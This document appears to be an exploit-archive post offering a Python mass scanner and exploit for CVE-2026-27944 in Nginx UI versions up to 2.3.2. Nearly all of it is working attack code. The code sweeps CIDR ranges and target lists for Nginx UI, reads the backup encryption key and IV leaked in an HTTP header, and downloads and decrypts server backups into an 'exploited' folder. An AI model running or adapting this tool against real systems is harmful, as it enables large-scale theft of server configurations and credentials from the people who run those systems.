============================================================================================================================================= | # Title : Nginx UI 2.3.3 Mass Scanner and Backup Decryption Exploit | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) | | # Vendor : https://nginx.org/ | ============================================================================================================================================= [+] Summary : This Python tool is a multi‑threaded scanner and exploitation utility designed to identify and validate the vulnerability CVE-2026-27944 affecting Nginx UI versions ≤ 2.3.2. The script supports scanning single hosts, CIDR ranges, or target lists, and checks multiple common web service ports. It fingerprints Nginx UI instances by analyzing page content, HTTP headers, and the /api/version endpoint. When a target is identified as Nginx UI, the scanner checks the /api/backup endpoint for the presence of the X-Backup-Security HTTP header, which contains a Base64‑encoded AES key and IV used to encrypt backup archives. Because the cryptographic material is disclosed in the response headers, the script can retrieve the encrypted backup and decrypt it automatically. Main Capabilities Multi‑threaded mass scanning engine for large network ranges Automatic Nginx UI detection using HTML and header fingerprints Version comparison to detect potentially vulnerable versions Direct vulnerability confirmation via /api/backup endpoint Automated exploit module that downloads and decrypts the backup JSON output for scan results and analysis [+] POC : >python 1.py --target https://127.0.0.1 #!/usr/bin/env python3 import argparse import base64 import os import json import ipaddress import threading from concurrent.futures import ThreadPoolExecutor from urllib.parse import urljoin, urlparse import requests from requests.adapters import HTTPAdapter from urllib3.util.retry import Retry VULN_VERSION_MAX = "2.3.2" DEFAULT_PORTS = [80,443,8080,8443,9000,9001,9080] def version_leq(v1,v2): try: a=[int(x) for x in v1.split(".")] b=[int(x) for x in v2.split(".")] length=max(len(a),len(b)) a+= [0]*(length-len(a)) b+= [0]*(length-len(b)) return a<=b except: return False def create_session(): s=requests.Session() retry=Retry( total=2, backoff_factor=0.3, status_forcelist=[500,502,503,504] ) adapter=HTTPAdapter(max_retries=retry) s.mount("http://",adapter) s.mount("https://",adapter) s.headers.update({ "User-Agent":"Mozilla/5.0" }) return s def expand_targets(file,cidr,target,ports): targets=[] if target: targets.append((target,ports)) if cidr: net=ipaddress.ip_network(cidr,strict=False) for ip in net.hosts(): targets.append((str(ip),ports)) if file: with open(file) as f: for line in f: line=line.strip() if line: targets.append((line,ports)) return targets def detect_nginx_ui(host,port,ssl=False): proto="https" if ssl else "http" url=f"{proto}://{host}:{port}" session=create_session() result={ "url":url, "host":host, "port":port, "version":None, "is_ui":False, "is_vuln":False, "confidence":0 } try: r=session.get(url,timeout=5,verify=False) if "Nginx UI" in r.text: result["confidence"]+=40 if "nginx-ui" in r.text.lower(): result["confidence"]+=20 server=r.headers.get("Server","") if "nginx" in server.lower(): result["confidence"]+=5 try: vr=session.get(f"{url}/api/version",timeout=5,verify=False) if vr.status_code==200: data=vr.json() if "version" in data: result["version"]=data["version"] if version_leq(result["version"],VULN_VERSION_MAX): result["is_vuln"]=True result["confidence"]+=30 except: pass try: br=session.head(f"{url}/api/backup",timeout=5,verify=False) if br.status_code==200 and "X-Backup-Security" in br.headers: result["is_ui"]=True result["is_vuln"]=True result["confidence"]=100 except: pass if result["confidence"]>=50: result["is_ui"]=True except: pass return result def mass_scan(targets,threads): results=[] vuln=[] lock=threading.Lock() total=len(targets) counter=0 def worker(target): nonlocal counter host,ports=target for port in ports: for ssl in [False,True]: r=detect_nginx_ui(host,port,ssl) with lock: counter+=1 print(f"\rScanned {counter}",end="") if r["is_ui"]: results.append(r) if r["is_vuln"]: vuln.append(r) with ThreadPoolExecutor(max_workers=threads) as exe: exe.map(worker,targets) print() return results,vuln def fast_exploit(url): from Crypto.Cipher import AES from Crypto.Util.Padding import unpad session=create_session() try: endpoint=urljoin(url+"/","api/backup") head=session.head(endpoint,timeout=5) if "X-Backup-Security" not in head.headers: print("Target not vulnerable") return header=head.headers["X-Backup-Security"] parts=header.split(":") if len(parts)!=2: print("Invalid header") return key=base64.b64decode(parts[0]) iv=base64.b64decode(parts[1]) r=session.get(endpoint) cipher=AES.new(key,AES.MODE_CBC,iv) data=unpad(cipher.decrypt(r.content),16) os.makedirs("exploited",exist_ok=True) name=urlparse(url).netloc.replace(":","_") path=f"exploited/{name}.zip" open(path,"wb").write(data) print("Backup saved:",path) except Exception as e: print("Exploit failed:",e) def main(): parser=argparse.ArgumentParser() parser.add_argument("--cidr") parser.add_argument("--file") parser.add_argument("--target") parser.add_argument("--threads",type=int,default=100) parser.add_argument("--ports",default=",".join(map(str,DEFAULT_PORTS))) parser.add_argument("--exploit") args=parser.parse_args() if args.exploit: fast_exploit(args.exploit) return ports=[int(x) for x in args.ports.split(",")] targets=expand_targets(args.file,args.cidr,args.target,ports) if not targets: print("No targets specified") return results,vuln=mass_scan(targets,args.threads) json.dump(results,open("scan_results.json","w"),indent=2) print("Found UI:",len(results)) print("Vulnerable:",len(vuln)) if __name__=="__main__": main() Greetings to :============================================================================== jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)| ============================================================================================